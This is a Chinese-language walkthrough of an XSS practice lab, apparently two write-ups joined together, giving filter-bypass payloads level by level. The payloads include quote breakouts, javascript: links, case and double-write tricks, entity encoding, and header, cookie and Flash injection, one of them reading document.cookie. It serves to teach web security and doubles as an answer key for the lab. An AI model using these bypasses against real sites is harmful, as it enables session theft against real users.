xss脚本绕过限制的方法

时间:2023-09-22 09:32:20
第一关:第一关比较简单,直接写入标签就可以,这里不多说了,payload如下: http://sqler.win/xss/level1.php?name=test%3Csvg/onload=alert(1)%3E

第二关: 第二关是比较典型的搜索框XSS,搜索内容直接写入input标签内,这里有很多种XSS的方式,我的payload是http://sqler.win/xss  /level2.php?keyword=test%22%3E%3Csvg/onload=alert(1)%3E

   第三关:这一关无论是"还是<>都跳不出value标签,故我们尝试别的特殊字符,发现'号可以跳出标签,故构造以下payload: http://sqler.win/xss/level3.php?keyword=try%20harder!%27onmouseover=%27alert(1)%27
   第四关: 这一关过滤了 < 和 >,用 " 闭合value标签,网站防火墙过滤了onmouseover,故换一个on事件执行,我选取的是 onfocus,payload如下: http://sqler.win/xss/level4.php?keyword=1%22%20onfocus=alert(1)%20autofocus=%22&submit=%E6%90%9C%E7%B4%A2
    第五关:这一关检测到 on 就会转义成o_n,故On事件执行不了,网站防火墙拦截了img和script标签,我的办法是闭合标签后,写入超链接,点击触发。 http://sqler.win/xss/level5.php?keyword=1%22%3E%3Ca+href%3D%22javascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2
    第六关:这一关情况和上一关类似,我们直接用上一关的payload,发现不能执行,看源码,原来是把href转义成了hr_ef,故把href改变大小写,改为hRef,绕过过滤,payload如下: http://sqler.win/xss/level6.php?keyword=break+it+out%22%3E%3Ca+hrEf%3D%22javascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2
   第七关:这一关相比上一关,只要检测到on,href,src,script等关键字,会直接过滤成空,故采用经典的scrSCRIPTipt方式绕过过滤,故payload如下: http://sqler.win/xss/level7.php?keyword=move+up%22%3E%3Ca/HREHREFF=%22javascriscriptpt:alert(1)%22%3E&submit=%E6%90%9C%E7%B4%A2
    第八关:这一关终于不是input标签了,逻辑是输入超链接的链接值,然后后端帮你生成超链接。尝试直接写人 javascript:alert(1) ,系统会把javascript转义成javascr_ipt,故考虑将script做实体编码,将r编码成r提交,payload为: http://sqler.win/xss/level8.php?keyword=javasc%26%23114%3Bipt%3Aalert%281%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5
    第九关:和第八关一样的界面,尝试上一关的payload,提示”链接不合法“,猜测一下,可能是规定链接以http://开头才行?故尝试提交 http://test,果然链接写进去了,但是这样如何才能构造javascript语句呢,再测试一下,是不是只要有http://就可以,而不用放 在开头呢,故尝试提交javascript:alert("http://"),果然不提示链接不合法了,但是双引号被编码了,所以故继续实体编码,将一 个第一个双引号编码成",可绕过过滤。此处也可以用两个反单引号`来绕过对”的过滤。payload如下: http://sqler.win/xss/level9.php?keyword=javasc%26%23114ipt%3Aalert%28%26%2334%3Bhttp%3A%2F%2F%22%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5
   第十关:又是一种新的形式了,查看源代码,可以发现三个隐藏的input标签,故修改源代码,将type="hidden"改为 type="text",分别输入2,3,4并回车,发现t_sort参数可以写入值,故用"闭合标签,并在input框提交如下参数 “ onmouseover='alert(1)' type="text",故完整payload如下: http://sqler.win/xss/level10.php?t_link=&t_history=2&t_sort=4%22%20onmouseover=%27alert(2)%27%20type=%22text%22
  第十一关: 查看源码:  可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入” onmouseover='alert(1)' type="text"。个人认为这个漏洞的利用可遇不可求,可以百度一下有关referer XSS 的利用方式,我这里采取的是自欺欺人的方式,因为实际情况不可能去抓包修改其他人的referer,自己构造一个可以触发这个漏洞的页面才是正确过关的方 法。这里主要以了解漏洞的原理为主,我采取的是偷懒只图过关的做法。
  第十二关: 查看源码,与上一关类似,取了http头部的"User-Agent"参数,思路与上一题一致。
  第十三关:  抓包得知,是cookie中的参数传入导致XSS,故此处修改cookie可触发XSS。
  第十四关: 查看源码得知,嵌入了一个iframe页面,访问这个网站http://www.exifviewer.org/,是查看图片的EXIF信息的网站,说明这是文件上传图片的XSS。想到上半年补天爆出来的乌云EXIF存储型XSS,传送门: http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0194934.html 漏洞原理是通过修改图片的exif信息,造成解析图片exif触发XSS。利用工具推荐exiftool。题中给的网站我传了一张图片,成功弹窗,解析地址如下: http://www.exifviewer.org/FW/result.php?name=616e8a17b042371baf608c311a9a3d46&tscachebusttamp=1479559371223
  第十五关: 这一关题中给的链接有误,正确的链接如下: sqler.win/xss/level15.php?src==1.gif。这一关像是用了Angular Js, 但是这个漏洞不是很熟悉,不能给出payload,大家有兴趣可以自己研究研究。如果大牛有答案带带我。
  第十六关:简单测试得出,这一关可以直接写入标签,难点在于过滤了空格,/ 等连接符,故用%0d换行符绕过,可写入标签。payload如下: http://sqler.win/xss/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert(2)%3Ealert(2)
  第十七关: 这一关,将arg01和arg02的参数分别写入src的值中,并过滤了尖括号,导致不能闭合标签。因为本身是在embed标签中,故考虑,能不能在 arg02中,写入事件来触发XSS。答案是可以的,这里采用onmousedown标签,构造arg02参数的值为 onmousedown=alert(1),点击页面嵌入的swf可触发XSS。完整payload如下: http://sqler.win/xss/level17.php?arg01=a&arg02=%20onmousedown=alert(2)
  第十八关:这一关和上一关很类似,但是需要有一点点的转变,经过尝试发现,在arg02参数无论加什么字符都无法构造空格,那转移注意力,尝试arg01,果然,arg01是可以构造的,参考上一关的payload,完整payload如下: http://sqler.win/xss/level18.php?arg01=a%20onmousedown=alert(2)&arg02=b
  第十九关:这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,我用的是JPEXS这款工具。发现是actionscript 2.0,首先定位getURL函数,
sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追踪到sIFR的内容,省略了一些代码,关键代码如下:
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
}
所以构造最终payload,如下:
http://sqler.win/xss/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E
点击传入进去的’xss_by_SST‘就可以触发XSS。
   第20关:将swf下载下下来分析得知是zeroclipboard.swf , 百度一下,有漏洞详情,构造payload如下:http://sqler.win/xss/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

level 1

一开始界面上什么都没有,一般是从url上想办法
顺便查一下php代码,
<script> window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } <script>
这里提示你要让网页弹窗即可
那么直接用在url后面的参数上想办法
·http://localhost/xss/level1.php?name=test·
直接把test改成<script>window.alert ()</script> 这样的弹窗脚本即可

level 2

在2中,输入了一传正常的js,<script>alert()</script>,发现可以出现相关代码,但是可以看出来,预定义的字符代码已经被转译成了HTML实体了。
果然 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/>
从这里可以看出来,预定义的字符代码对于输出的时候用了htmlspecialchars 转换成实体,可是下面的并没有转换,因此,可以从下面的输入框里里面入手,构造闭合语句。
<input name=keyword value="'.$str.'">
使用payload:"onclick="window.alert()
形成<input name=keyword value=" "onclick="window.alert()">
输入后成功弹窗

level 3

这里按着上面的也来一下,发现不行
第三关的两个地方都加了htmlspecialchars函数处理,但是htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle,才可以
那么就用单引号来测试
payload :'onclick='window.alert()
构造闭合语句:<input name=keyword value='".htmlspecialchars('onclick='window.alert())."'>

level 4

这一关,查看源代码发现,多了几个str
ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 />

这里仔细看一下就知道,在这里将输入的内容分别去掉了 <,> ,然后,外围的引号变成了双引号,可以用第三关的payload稍作修改。
payload:·"onclick="window.alert()
构造成:<input name=keyword value="onclick="window.alert()>

level 5

这题输入了上文的代码,会发现变了
'onclick='window.alert()<------变成----->'o_nclick='window.alert()
在on中加上了下划线。
那么应该怎么做 查看代码
$str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 />

发现它把script 和 on 中加入了下划线。
那么鼠标事件,就不能用了。
可以考虑下用链接(href),即在链接中调用js
payload: "><a href="javascript:onclick=alert()">点我就xss</a>
构造:
<input name=keyword value=" "><a href="javascript:onclick=alert()">点我就xss</a>
如此一来,创建了一个"点我就xss"的可点击链接的文本,点击,产生xss

level 6

同样的,输入<script></script>和onclick 都会被加上下划线
同时,href也是
查看源代码$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);
还有scr,data,等也是。
然鹅,少了一个函数strtolower(),把所有字符转换为小写。
所以,我们可以用大写!
payload "><A HREF="javascript:alert()">test</a>

level 7

很遗憾啊,第七关的已经加上了strtolower,已经不能用大写绕过了
$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);

而且将这几个能用的都转换成空,那么应该怎么办?
要注意
他只是将其转换成空,不像前面的第六题,是加上下划线,那么我们可以尝试双写绕过。
payload :"><scrscriptipt>alert()</scrscriptipt>
on src data href 等也是一样的,大家可以自己尝试哦

level 8

这一题有难了
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

双引号转换成了“&quot”,而且还将关键字转换了,并且在添加友情链接input内还有htmlspecialchars转换

该怎么做?
注意,这里在友情链接只用了 str7 ,只是将关键字转换了,那么如果用其他的编码的形式呢?是不是可以绕过?因为添加友情链接这里基本用不来了,没戏。

payload javascript:alert()

这里要注意不能把java四个转换编码,因为后台过滤的是script,所以把script其中一个编码一下就好了。

level 9

这题跟上题目差不多,就是在友情链接上多了一点判断
if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
若检测不到http则报错
payload javascript:alert(1)/*http://www.baidu.com*/
只要让它检测到http,却不能起到作用就可以了,所以可以用注释。
在上题的payload下,后面加上注释,在注释里面填写http相关即可

level 10

这道题很迷,仔细看下代码就知道,它要get两个参数keyword和t_sort
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
而且 keyword参数并没有什么用,t_sort可以进行渗透
那么在$str33这里进行构造语句
<>被转换成空,那么<script>,<src>等也不能用了
在代码中下面有三个隐藏的参数设置,在这里把t_sort的 hidden更改一下成text

payload :t_link=&t_history=&t_sort="onclick="alert()"type="text"

level 11

这道题参考一下代码可以发现,$str11=$_SERVER['HTTP_REFERER'];这里接受了来自上一题的referer,所以,我们可以在第十题转到的第十一题的时候,抓包修改referer,来构造绕过语句。
在出现了 "完成得不错"后,先用burp抓住,然后在头文件内修改referer
payloadt_sort="type="text" onclick="alert(1)

level 12

这题跟上面的一样,只不过是“$str11=$_SERVER['HTTP_USER_AGENT'];”
这次是在user-agent里面修改
payload111"type="text" onclick="alert(1)
后点击页面,通过

level 13

这题看代码setcookie("user", "call me maybe?", time()+3600);可以知道这是cookie绕过了
其他的内容都差不多,抓包修改cookies
payload :cookie:user="type="text" onclick="alert(1)"

level 14

这关成功后不会自动跳转。

level 15

$str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'

AngularJS ng-include指令
ng-include 指令用于包含外部的 HTML 文件。
此题用的是文件包含,那么我们可以让它调用一个evil code执行弹窗啊
payload :src=level1.php?name=1'window.alert()

level 16

$str = strtolower($_GET["keyword"]); $str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2); $str4=str_replace("/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4);

这题把script 、/ 、空格 都转译了,跟前面有一题一样,可以考虑编码和不用script啊
keyword=test,显示在页面中。
使用<a%0dhref="javascript:onclick=alert()">点我就xss</a>
提示说不允许使用。。。
换一个
payload<img%0dsrc=1%0donerror=alert()>

level 17

<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])."
<embed> 标签定义嵌入的内容,比如插件
通过htmlspecialchars 转译了预定义字符
onclick是在鼠标点击弹起之后触发的事件。onmousedown是在鼠标按下之后触发的事件
这里我用onclick不行,onmousedown可以。。
payload arg01=a&arg02=b%20onclick=alert()

level 18

这题跟上面的差不多
却在arg02不可以。。。。迷
谁知道原因的。。能告诉我嘛
在arg01处进行payload
http://localhost/xss/level18.php?arg01=a%20onmousedown=alert()&arg02=b

作者:残阳泼茶香
链接:https://www.jianshu.com/p/06c644dafa0d
來源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。